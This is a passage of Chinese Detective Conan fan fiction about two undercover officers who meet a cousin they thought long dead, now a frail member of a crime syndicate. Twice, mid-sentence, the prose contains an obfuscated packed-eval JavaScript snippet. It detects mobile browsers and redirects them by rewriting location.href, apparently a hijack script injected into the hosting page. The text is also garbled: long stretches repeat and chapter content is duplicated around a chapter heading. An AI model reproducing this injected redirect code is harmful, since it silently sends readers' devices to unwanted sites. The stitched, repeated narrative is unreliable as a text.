她的父母一反常态地允许畏寒怕冷的女儿解放天性,拉着他们一起堆雪人打雪仗,还趁她不备,一个打掩护,一个偷拍了孩子们的照片。 望月七宫玩得还算尽兴,在他们放水放到太平洋的前提下,把雪球成功塞进了两位弟弟的衣领里,取得了最终的胜利,高兴得一看就知道她在现场编造一串新的贯口头衔。 意外又不意外的是,还没等她发表胜利感言,高兴坏了的小猫头鹰就耗尽电量晕了过去。 望月夫妇并没有指责两个男孩,安慰他们几句,驱车带女儿去了医院。 谁知望月七宫这次住院后的情况越来越坏,后来甚至不再允许他们这样非直系亲属去看望她,想知道她的消息只能等待望月夫妇在规定的探视日期回来告知。 和孩子们交流更多的是望月妈妈,诸伏景光那位强颜欢笑的姑妈,嘴里说出来的都是好消息,可无声无色无形的苦涩与悲伤,却从她的五官七窍,源源不断地飘出来,把她整个人笼罩在灰沉沉黯淡无光的雾气中。 血亲之间无论关系好坏,模样、思考方式与行为,或多或少会有相似之处,望月妈妈说着口不对心甚至前后矛盾的“好消息”,骗不过诸伏景光,也骗不过很熟悉诸伏景光的降谷零。 最后望月夫妇消失了几天,带回来一方小小的、做成猫头鹰形状的盒子,把重于千钧的盒子放进棺材里,举办了一场葬礼。 火焰焚烧着亲人的思念,腾起的火光与烟尘落入诸伏景光与降谷零的眼睛,连换上丧服前来的诸伏高明,眼圈都红得厉害。 大布娃娃“姐姐 ”、小猫布偶“君子”、心爱的自创咒语书、带密码锁的日记本…… 望月七宫的两位小伙伴帮着她的父母,一件件将它们投入火中,流着眼泪祈愿他们被老天迫不及待地收回去的小姐姐,在另一个世界能够健康平安、活蹦乱跳。 望月七宫的卧室,或者说,她的娃娃屋,从此被锁了起来,成为了望月家“不存在的房间”,再也不允许任何人进去和窥视。 死去多年的她,为什么会出现在这里? 难道内部代号“酒厂”的国际知名犯罪组织,竟然在全世界的眼皮子底下,偷偷研发出了“死而复苏”“死者转生”的科技了吗? 和娜娜姐视线相接的一瞬间,苏格兰和波本就明白,正如他们认出了她,她也认出了他们。 与此同时,他们在无数错综复杂的心绪中,做好了慷慨赴死的心理准备: 暌违多年,音书不通,他们不知道“奥比昂”是不是娜娜姐本人、也不知道“奥比昂”认可“酒厂”的程度、更不知道她会不会突然当众情绪失控地喊出他们的真名。 所有正常的、正当的、合情合理的“错过十余年的亲人故友久别重逢”会有的表现,无论“大喜过望”还是“抱头痛哭”,对于两个获得boss认可、得到代号、根基浅薄到聊胜于无的新人来说,都是致命的。 隐姓埋名潜入犯罪组织侦查的警察官们,如果成功,功绩往往要被层层掩埋,直到时过境迁、绝密卷宗脱离保密期,他们早已被世界遗忘。 如果失败,死亡和身败名裂都会像夜晚一样,注定到来,区别只在于暴露后会承受多少酷刑折磨。 一口叫破两位卧底的“奥比昂”,所拥有的组织boss的青眼,能抵得住“间谍的亲属”的身份消耗吗?她如今病骨支离的现状,能承受“久别重逢的幼驯染只是因为说错一句话”、就阴阳永隔的打击吗? 所有的心绪都必须像“望月七宫死后的娃娃屋的门”一样锁死,他们此时此刻能做到的,唯有“别在没受到过任何反侦察反审讯卧底训练的娜娜姐之前”,蠢到自爆。 什么都没有发生。 娜娜姐承受不住情绪的剧烈变化,倒下了。 苏格兰和波本心急如焚,他们比谁都更想知道她的真实身份和健康状况。 此刻苏格兰的人设是不可以轻举妄动的,他顶多吃惊诧异地看着,静候事态发展,不能做出任何不符合身份的干涉:一个满心仇恨的狙击手显然不会是为了做好人好事才加入犯罪组织。 “千面魔女”贝尔摩德就在台上,虽然她的注意力正在被奥比昂那边的动静吸引,谁知道下一秒她的视线会不会转回来、停驻在两位新人身上? ——按下心头的惊涛骇浪,想想你是谁,想想你是来做什么的,想想你为什么出现在这里。 ——不要让你的“真情流露”,成为自杀和杀人的子弹。 苏格兰按捺住了起身的冲动,他的身份卡好在是良家子弟出身,稍有良心未泯,譬如看到“没见过她犯罪的陌生病号病重”,感到震惊、担忧、想要知道怎么回事,只要程度很轻,就是在人设范围内的正常反应。 起身去拦伏特加就不对了。奥比昂又不是苏格兰的未婚妻。 很明显那些比他们资深的代号干部们,对于奥比昂的健康之差都已经习惯了。 没有任何一个人出现了“应对棘手的突发事件”的情绪反应与应激动作,琴酒吩咐伏特加送人去医疗部、其他人或许看一眼那边的热闹,或许继续着被打断之前的行动: 听音乐、玩手指、打盹、聊天、发呆…… 所以苏格兰“应该做的”,就是闭上嘴,收起多余的好奇心,继续弹他的贝斯,同时注意不要让心声从音乐声中流出来,贝尔摩德可是懂行的大佬! “卿本佳人,奈何为贼”的苏格兰不可以做的事,“神秘主义者”波本可以。 与苏格兰相反,波本想做什么就做什么,但他不能表露出对奥比昂的关心担忧。 作为琴酒系行动组的家家酒行动中,朗姆系情报组特意安插进来的一根楔子,他的行动方针无外乎两种:收集情报和添堵扎心。 干扰“奥比昂突发晕厥”事件,完全可以同时符合他的两种行动方针。 一个天生无善恶无立场、行动全凭“我乐意”、喜怒从心言谈自在的讨厌鬼,在这种时候,去阻拦“急于送奥比昂就医”的伏特加、顺便挑衅一下琴酒,是非常合理的。 最好的预期是琴酒和他打一架,让他收集收集只有在亲身经历近身格斗时才能掌握的信息。 可惜琴酒没搭理他,而是让示意伏特加处理“杂鱼的挑衅”。 伏特加也没有很把他当回事,初来乍到,新人末进,名声不显,最简单最基础也最没有技术含量的“蛮牛冲撞”,就让不想过早暴露“其实很能打”的底牌的波本退却了。 阻挡住伏特加的去路、探身低头打量奥比昂的这几秒,波本就得到了远多于苏格兰在台上遥遥一瞥的信息量: 奥比昂确实是活过了18岁、顺利长大成人的望月七宫、依然与疾病为伍以至于营养消耗过巨,应有的样貌。 她的眼睛比起儿童期的滚圆,稍微拉长了一些,然而眼尾上扬的特征没变,足够熟悉她和苏格兰的话,可以看得出两人之间的相似。 是好消息,也是坏消息。 好消息是娜娜姐可能在他们不知道的时候,坚强地活到了现在。 坏消息就多了。“苏格兰”显然不会有个姑妈是“奥比昂”的母亲,即使侥天之大幸,娜娜姐苏醒后没在他们无法干涉的医疗部吵闹着要见他们,不恰当的相似也只会增加他们暴露的风险。 波本没法再拦在伏特加前进的路上,他的头脑风暴激烈得快要在大厅里卷起飓风了,事态再度起了变化: 奥比昂醒了。 年轻就是好,倒头就睡,睡醒就起,这点也很娜娜姐。 她在组织内的威信可能要打三个问号,但她在说病就病方面的权威性是公认的,做出呕吐姿态,伏特加就按她说的把她扔了出去,波本顺势接住她。 ……都闯过了鬼门关、活到了长大成人的岁数,怎么还像是全部体重加在一起,都只有21克呢? “怜惜”和“哀伤”的感情都是不合时宜且违背人设的,波本把它们藏得很深,优先度更高的是担心,担心她叫破真名,于是抢先开口,以幼少时期相处的经验,选择了她九成以上会反唇相讥的挑衅。 果然是反唇相讥。果然是她。哪怕人还晕晕乎乎的一副低血糖发作的样子,嘴皮子上是决计不肯让他占到一点便宜的。 确认了最重要的一点,所有属于“降谷零”的感情,就都被他打包封存,现在是情报贩子波本,在直接接触组织内藏得很深、很神秘、很有可挖之处的奥比昂的场合。 “奥比昂”这个代号,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122109|194083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从别的地方没听说过,从朗姆那里第一次听到就是派他来给琴酒添堵,说明朗姆对她的了解也有限。 奥比昂的身体素质与精神状态,都不像能为组织杀人放火并跑路脱罪的样子。 望月七宫身家清白,不可能是组织boss的亲属——如果她是,那诸伏景光也跑不了。还卧个什么底啊,干脆投了算了。 也就是说,她必定有其他的重大功绩,让她得到boss的赏识的程度,到了可以“驱使打手头目,带领其他打手,以及与boss有特殊关系的贝尔摩德,共同演一场‘公司年会’的戏取悦于她”的程度。 她在做什么? 公开场合开诚布公地询问,那是找死。 怎么样才能和她建立进一步的关系、才能避开组织对她密不透风的保护和监视,了解到她在干什么、又怎么安全地把她转移出去? 这场闹剧到了尾声,贝尔摩德插手了。她随手指派了作为新人、和在场任何一位代号干部都没建立起来私交与私仇、最适合当跑腿小弟的苏格兰过来,从初登场就拉满全场仇恨值的波本那里接手奥比昂。 新情报:贝尔摩德对奥比昂持友善态度,奥比昂对贝尔摩德有与之不对等的过度信任和依赖。 苏格兰放下贝斯、离开台前,走过来的速度不快也不慢,脚步很稳。 他接过奥比昂的时候,手也没有一点发抖,表情没有羞涩、期待或不耐烦,很平静地带着几分“正面朝上小心轻放禁止堆叠”的意思。 全套行动都符合“对现状略有些困惑但一直在静观其变的新人,被上级摊派收尾任务,只好听从命令”的表现。 清醒过来的奥比昂躺在苏格兰怀里,明明是公主抱的姿势,视觉效果却微妙的像渔夫抱着一条一人多长的章鱼或鱿鱼,一点浪漫氛围都没有。 这条大章鱼还在瞪圆了眼睛观察苏格兰,恐怕外人都能看得出来她很有想法而且很有话说。 波本刚才一直在担三份心:他自己ooc、苏格兰ooc、奥比昂引爆炸弹同归于尽。 幸好他挺住了、Hiro也挺住了,接下来只看命运怎么安排他们无法言语提示的娜娜姐开口了。 或许是幼驯染之间的心有灵犀,波本一直在担心的“苏格兰和奥比昂眉眼相似”的问题,让奥比昂轻轻松松一句话就解决掉了: 这个从小就很奇思妙的姐姐,再度发挥了她天马行空的想象力,混入了几分不知是天生还是习得的缺德,搞起了恰到好处的恶作剧——抢在所有人之前强调她和苏格兰长得像,而且是“一模一样”“双胞胎”级别的相似。 那怎么可能啊。 就算是健康状态、营养良好、长着这个岁数的年轻女性应有的身材和面容的娜娜姐,和Hiro他也不是双胞胎,根本没像到那种程度。 Hiro跟高明哥同父同母,容貌都颇有异同。跟娜娜姐是表姐弟,只有眼睛的形状仔细看看得出来一样。 人总是有一种很奇怪的反驳心理,娜娜姐和Hiro要是不承认彼此有相似之处,他日被人指出,就是会是一桩捕风捉影的疑案。娜娜姐这样大张旗鼓地强调他们两个长得像双胞胎,所有人都看得出不赞同。 “眼尾上挑”的形状并不类似“脖子后面的肩膀上有个星星形状的胎记”一样具有强烈的家族特征,“瘦得像具骷髅”的奥比昂这样突然兴奋地指认“身材健壮体貌正常”苏格兰,其实很有几分碰瓷的样子。 大概和波本指着贝尔摩德说“我们都是金发蓝眼所以我们是亲生母子”的碰瓷程度差不多。 娜娜姐根据“长得像”叫嚷出来的结论就更离谱了,她红口白牙地说Hiro是她失散多年的亲儿子。 这话说得波本心里一惊,他第一反应是酒厂这个犯罪组织竟然惨无人道到这种程度,竟然用女性的第二性征发育不全的濒死病人做生育实验,随后根据贝尔摩德和琴酒的反应,意识到原来是娜娜姐又在胡说八道。 认识望月七宫的人和认识奥比昂的人都无语了,所有人笑成一片。 千钧一发的“卧底身份暴露前兆”由此化作了荒诞喜剧,以后谁再眼尖,指出“奥比昂和苏格兰长得那么像是不是有鬼”,都得掂量掂量,会不会被diss“她发癫你也发癫吗”。 成功引爆全场笑点的奥比昂显然没有满足于此,她的目光又停驻在波本身上。 波本也没逃过她的碰瓷。 行动组的代号干部们很乐意配合满口胡言的奥比昂给他找点麻烦,贝尔摩德乐意看任何人的笑话。 两位新人被喜添贵子(甚至双杀)的奥比昂左右拥抱地挽着手臂去吃自助,吃瘪但是不敢甩掉她的手、怕伤到她惹很大麻烦的样子就更好笑了。 奥比昂从不回头看乱子,她的全部心神都沉浸到了自助餐中,忙于吃吃喝喝,一直都没让嘴闲下来,只有时不时抓一下苏格兰和波本的衣袖或衣角的动作,证明了她对他们的在意。 她吃东西的样子,就像一百年没有吃过饱饭了,让人看着心酸。 波本调节着情绪,准备用嘲讽的语气和刻薄的话语,表达对她饮食状况的关心,沉默许久的苏格兰先开口了: “所有用到油脂炒制、煎制的地方,用的都是橄榄油。这是地中海饮食圈很常见的做法,换到日式料理的炸物中,传统口味有猪油,现代风味有菜籽油或色拉油。您尝着不习惯,可能是不同食用油的口感差异带来的不适应。” 这场年会请的厨子有点不专业啊,连最基础的常识都能弄错。而且有菠萝披萨,说明不是意大利厨师,却在用意餐常用的油,透着一股外行装内行忽悠大傻子的味道。 正在咀嚼天妇罗,因为总觉得哪里不对而皱着眉的奥比昂停了一下,眼睛噌的一声亮起来: 怎么就忘了呢!Hiro做饭超好吃的呀!!余市!!!你下岗了!!!!! 22.第 22 章 第22章出席葬礼的娜娜姐 奥比昂的奇思妙想不受追究,不意味着她的意见会被重视。 这位现年25岁的代号干部、不知道被组织扣押了多久的囚徒、同龄人中有人孩子都上小学了的姐姐,处在了一种相当微妙的状态中。 她似乎认为她所服务的是一家公司,而且是一家正常的、普通的、和“杀人放火”“违法犯罪”没有关系的公司,其他今天出场的代号干部们也在维系着她的这种认知。 以琴酒为首的资深犯罪组织成员们,把她视作了不具备思考和辨识能力的幼儿,在陪她“过家家”。 苏格兰和波本很快就意识到了这一点。 虽然心中惊涛骇浪涌动不休,两个人还是完美地扮演着“寡言少语的新人狙击手”和“人嫌狗憎的神秘主义者”角色,无论是两人之间,还是分别与奥比昂之间,都是“我不认识你”的样子。 苏格兰威士忌,原名“诸伏景光”,现年24岁,警视厅公安部警察,内部代号“鹦鹉螺”。 化名“绿川唯”,捏造了27岁的假身份,以“为复仇不择手段的灭门血案幸存者”身份,潜入活跃于国际和国内的犯罪组织,进行调查。 波本威士忌,原名“降谷零”,现年24岁,警察厅警备局警备企划课警察,内部代号“闹钟”。 化名“安室透”,以年龄出身皆不详的“神秘主义者”“近二年活跃于黑市的情报屋”身份,与划分到不同部门、经过了不同时长的秘密培训的发小,潜入了同一个犯罪组织。 今天也是他们“毕业即失踪”后的第一次见面。 但他们两人的相见再怎么说都好办,经过严格训练的卧底能够轻松应对重逢带来的意外,难以应对的是,他们绝没想过,竟然在这里,见到了最不该出现在这里的那个人。 他们认识她,他们当然认识她。 人的一生中,总会有一个让小孩子理解和领悟什么叫“死亡”的角色,太小了不懂事没实感,太老了又对离别早有预期,他们第一次真正明白什么是“永久的诀别”,就是因为相当于“同龄人”的她,骤然离世。 原来,朗姆派波本来探探深浅、琴酒支使苏格兰假装参加公司年会的新人乐手、所有人不约而同地编织和维系谎言的对象,那个“别跟她说出一个多余的字”的“奥比昂”,是她啊。 是娜娜姐啊。 ——形容枯槁憔悴、瘦得没有一点肉、俨然一具行走自如的骷髅、甚至外表上都看不出以前的她曾经和诸伏景光有着一双形状非常相似的猫眼的幼驯染。 他们和她的最后一次相见,是在一场葬礼上,她以遗像的形式出席。 她因为觉得自己瘦得不好看,讨厌拍照,讨厌“留下难看的证据”。黑白照片上的她是从三个孩子一起堆雪人的照片里截出来放大的,她戴着厚厚的帽子和毛茸茸的耳套,笑容灿烂。 望月七宫,收养诸伏景光的姑妈家的独生女,幼时的降谷零家住得不远的街坊。 他们三个一起度过了短暂的童年时光,还没等他们长大,她就去世了。 诸伏景光和降谷零都记得很清楚,那个他们还是孩子的大雪天,望月七宫自称过生日、要出去玩雪,不同意就像个陀螺一样满地打滚。 她的父母一反常态地允许畏寒怕冷的女儿解放天性,拉着他们一起堆雪人打雪仗,还趁她不备,一个打掩护,一个偷拍了孩子们的照片。 望月七宫玩得还算尽兴,在他们放水放到太平洋的前提下,把雪球成功塞进了两位弟弟的衣领里,取得了最终的胜利,高兴得一看就知道她在现场编造一串新的贯口头衔。 意外又不意外的是,还没等她发表胜利感言,高兴坏了的小猫头鹰就耗尽电量晕了过去。 望月夫妇并没有指责两个男孩,安慰他们几句,驱车带女儿去了医院。 谁知望月七宫这次住院后的情况越来越坏,后来甚至不再允许他们这样非直系亲属去看望她,想知道她的消息只能等待望月夫妇在规定的探视日期回来告知。 和孩子们交流更多的是望月妈妈,诸伏景光那位强颜欢笑的姑妈,嘴里说出来的都是好消息,可无声无色无形的苦涩与悲伤,却从她的五官七窍,源源不断地飘出来,把她整个人笼罩在灰沉沉黯淡无光的雾气中。 血亲之间无论关系好坏,模样、思考方式与行为,或多或少会有相似之处,望月妈妈说着口不对心甚至前后矛盾的“好消息”,骗不过诸伏景光,也骗不过很熟悉诸伏景光的降谷零。 最后望月夫妇消失了几天,带回来一方小小的、做成猫头鹰形状的盒子,把重于千钧的盒子放进棺材里,举办了一场葬礼。 火焰焚烧着亲人的思念,腾起的火光与烟尘落入诸伏景光与降谷零的眼睛,连换上丧服前来的诸伏高明,眼圈都红得厉害。 大布娃娃“姐姐 ”、小猫布偶“君子”、心爱的自创咒语书、带密码锁的日记本…… 望月七宫的两位小伙伴帮着她的父母,一件件将它们投入火中,流着眼泪祈愿他们被老天迫不及待地收回去的小姐姐,在另一个世界能够健康平安、活蹦乱跳。 望月七宫的卧室,或者说,她的娃娃屋,从此被锁了起来,成为了望月家“不存在的房间”,再也不允许任何人进去和窥视。 死去多年的她,为什么会出现在这里? 难道内部代号“酒厂”的国际知名犯罪组织,竟然在全世界的眼皮子底下,偷偷研发出了“死而复苏”“死者转生”的科技了吗? 和娜娜姐视线相接的一瞬间,苏格兰和波本就明白,正如他们认出了她,她也认出了他们。 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“怜惜”和“哀伤”的感情都是不合时宜且违背人设的,波本把它们藏得很深,优先度更高的是担心,担心她叫破真名,于是抢先开口,以幼少时期相处的经验,选择了她九成以上会反唇相讥的挑衅。 果然是反唇相讥。果然是她。哪怕人还晕晕乎乎的一副低血糖发作的样子,嘴皮子上是决计不肯让他占到一点便宜的。 确认了最重要的一点,所有属于“降谷零”的感情,就都被他打包封存,现在是情报贩子波本,在直接接触组织内藏得很深、很神秘、很有可挖之处的奥比昂的场合。 “奥比昂”这个代号,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122109|194083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从别的地方没听说过,从朗姆那里第一次听到就是派他来给琴酒添堵,说明朗姆对她的了解也有限。 奥比昂的身体素质与精神状态,都不像能为组织杀人放火并跑路脱罪的样子。 望月七宫身家清白,不可能是组织boss的亲属——如果她是,那诸伏景光也跑不了。还卧个什么底啊,干脆投了算了。 也就是说,她必定有其他的重大功绩,让她得到boss的赏识的程度,到了可以“驱使打手头目,带领其他打手,以及与boss有特殊关系的贝尔摩德,共同演一场‘公司年会’的戏取悦于她”的程度。 她在做什么? 公开场合开诚布公地询问,那是找死。 怎么样才能和她建立进一步的关系、才能避开组织对她密不透风的保护和监视,了解到她在干什么、又怎么安全地把她转移出去? 这场闹剧到了尾声,贝尔摩德插手了。她随手指派了作为新人、和在场任何一位代号干部都没建立起来私交与私仇、最适合当跑腿小弟的苏格兰过来,从初登场就拉满全场仇恨值的波本那里接手奥比昂。 新情报:贝尔摩德对奥比昂持友善态度,奥比昂对贝尔摩德有与之不对等的过度信任和依赖。 苏格兰放下贝斯、离开台前,走过来的速度不快也不慢,脚步很稳。 他接过奥比昂的时候,手也没有一点发抖,表情没有羞涩、期待或不耐烦,很平静地带着几分“正面朝上小心轻放禁止堆叠”的意思。 全套行动都符合“对现状略有些困惑但一直在静观其变的新人,被上级摊派收尾任务,只好听从命令”的表现。 清醒过来的奥比昂躺在苏格兰怀里,明明是公主抱的姿势,视觉效果却微妙的像渔夫抱着一条一人多长的章鱼或鱿鱼,一点浪漫氛围都没有。 这条大章鱼还在瞪圆了眼睛观察苏格兰,恐怕外人都能看得出来她很有想法而且很有话说。 波本刚才一直在担三份心:他自己ooc、苏格兰ooc、奥比昂引爆炸弹同归于尽。 幸好他挺住了、Hiro也挺住了,接下来只看命运怎么安排他们无法言语提示的娜娜姐开口了。 或许是幼驯染之间的心有灵犀,波本一直在担心的“苏格兰和奥比昂眉眼相似”的问题,让奥比昂轻轻松松一句话就解决掉了: 这个从小就很奇思妙的姐姐,再度发挥了她天马行空的想象力,混入了几分不知是天生还是习得的缺德,搞起了恰到好处的恶作剧——抢在所有人之前强调她和苏格兰长得像,而且是“一模一样”“双胞胎”级别的相似。 那怎么可能啊。 就算是健康状态、营养良好、长着这个岁数的年轻女性应有的身材和面容的娜娜姐,和Hiro他也不是双胞胎,根本没像到那种程度。 Hiro跟高明哥同父同母,容貌都颇有异同。跟娜娜姐是表姐弟,只有眼睛的形状仔细看看得出来一样。 人总是有一种很奇怪的反驳心理,娜娜姐和Hiro要是不承认彼此有相似之处,他日被人指出,就是会是一桩捕风捉影的疑案。娜娜姐这样大张旗鼓地强调他们两个长得像双胞胎,所有人都看得出不赞同。 “眼尾上挑”的形状并不类似“脖子后面的肩膀上有个星星形状的胎记”一样具有强烈的家族特征,“瘦得像具骷髅”的奥比昂这样突然兴奋地指认“身材健壮体貌正常”苏格兰,其实很有几分碰瓷的样子。 大概和波本指着贝尔摩德说“我们都是金发蓝眼所以我们是亲生母子”的碰瓷程度差不多。 娜娜姐根据“长得像”叫嚷出来的结论就更离谱了,她红口白牙地说Hiro是她失散多年的亲儿子。 这话说得波本心里一惊,他第一反应是酒厂这个犯罪组织竟然惨无人道到这种程度,竟然用女性的第二性征发育不全的濒死病人做生育实验,随后根据贝尔摩德和琴酒的反应,意识到原来是娜娜姐又在胡说八道。 认识望月七宫的人和认识奥比昂的人都无语了,所有人笑成一片。 千钧一发的“卧底身份暴露前兆”由此化作了荒诞喜剧,以后谁再眼尖,指出“奥比昂和苏格兰长得那么像是不是有鬼”,都得掂量掂量,会不会被diss“她发癫你也发癫吗”。 成功引爆全场笑点的奥比昂显然没有满足于此,她的目光又停驻在波本身上。 波本也没逃过她的碰瓷。 行动组的代号干部们很乐意配合满口胡言的奥比昂给他找点麻烦,贝尔摩德乐意看任何人的笑话。 两位新人被喜添贵子(甚至双杀)的奥比昂左右拥抱地挽着手臂去吃自助,吃瘪但是不敢甩掉她的手、怕伤到她惹很大麻烦的样子就更好笑了。 奥比昂从不回头看乱子,她的全部心神都沉浸到了自助餐中,忙于吃吃喝喝,一直都没让嘴闲下来,只有时不时抓一下苏格兰和波本的衣袖或衣角的动作,证明了她对他们的在意。 她吃东西的样子,就像一百年没有吃过饱饭了,让人看着心酸。 波本调节着情绪,准备用嘲讽的语气和刻薄的话语,表达对她饮食状况的关心,沉默许久的苏格兰先开口了: “所有用到油脂炒制、煎制的地方,用的都是橄榄油。这是地中海饮食圈很常见的做法,换到日式料理的炸物中,传统口味有猪油,现代风味有菜籽油或色拉油。您尝着不习惯,可能是不同食用油的口感差异带来的不适应。” 这场年会请的厨子有点不专业啊,连最基础的常识都能弄错。而且有菠萝披萨,说明不是意大利厨师,却在用意餐常用的油,透着一股外行装内行忽悠大傻子的味道。 正在咀嚼天妇罗,因为总觉得哪里不对而皱着眉的奥比昂停了一下,眼睛噌的一声亮起来: 怎么就忘了呢!Hiro做饭超好吃的呀!!余市!!!你下岗了!!!!!